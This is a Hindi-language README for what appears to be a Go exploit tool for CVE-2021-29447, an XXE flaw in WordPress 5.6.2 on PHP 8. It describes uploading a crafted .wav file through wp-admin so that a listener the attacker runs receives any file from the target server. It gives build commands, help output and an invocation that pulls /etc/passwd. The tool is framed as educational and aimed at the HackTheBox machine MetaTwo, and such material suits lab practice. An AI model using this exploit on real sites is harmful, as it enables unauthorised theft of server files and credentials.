
केवल शैक्षिक उद्देश्यों के लिए।
यह एक्सप्लॉइट wordpress 5.6.2 और php8 चलाने वाले सर्वर से कोई भी फ़ाइल प्राप्त करने के लिए एक वास्तव में सुविधाजनक उपकरण माना जाता है। (देखें https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5)
आपको बस wp-admin का बुनियादी एक्सेस और मीडिया फ़ाइल अपलोड करने की क्षमता चाहिए।
एक्सप्लॉइट wp-admin का उपयोग करके अपलोड करने के लिए एक .wav फ़ाइल पेलोड उत्पन्न करेगा।
फिर यह आपके कंसोल पर ही वांछित फ़ाइल देने के लिए एक्सप्लॉइट के बैक सर्वर का उपयोग करता है।
इसका सबसे उपयुक्त उपयोग HackTheBox की मशीन है - metatwo https://www.hackthebox.com/machines/metatwo

$ go build
$ chmod +x exploit_cve-2021-29447
$ ./exploit_cve-2021-29447 --help
Usage of ./exploit_cve-2021-29447:
-local-server-ip string
Use local server ip where a local server will be set
-local-server-port int
Use local server port to run local server on
-o string
Output file to save exploit's result
-target-path string
Use target path to point on file you want to get from target server
$ ./exploit_cve-2021-29447 -local-server-ip=<your ip address> -target-path=/etc/passwd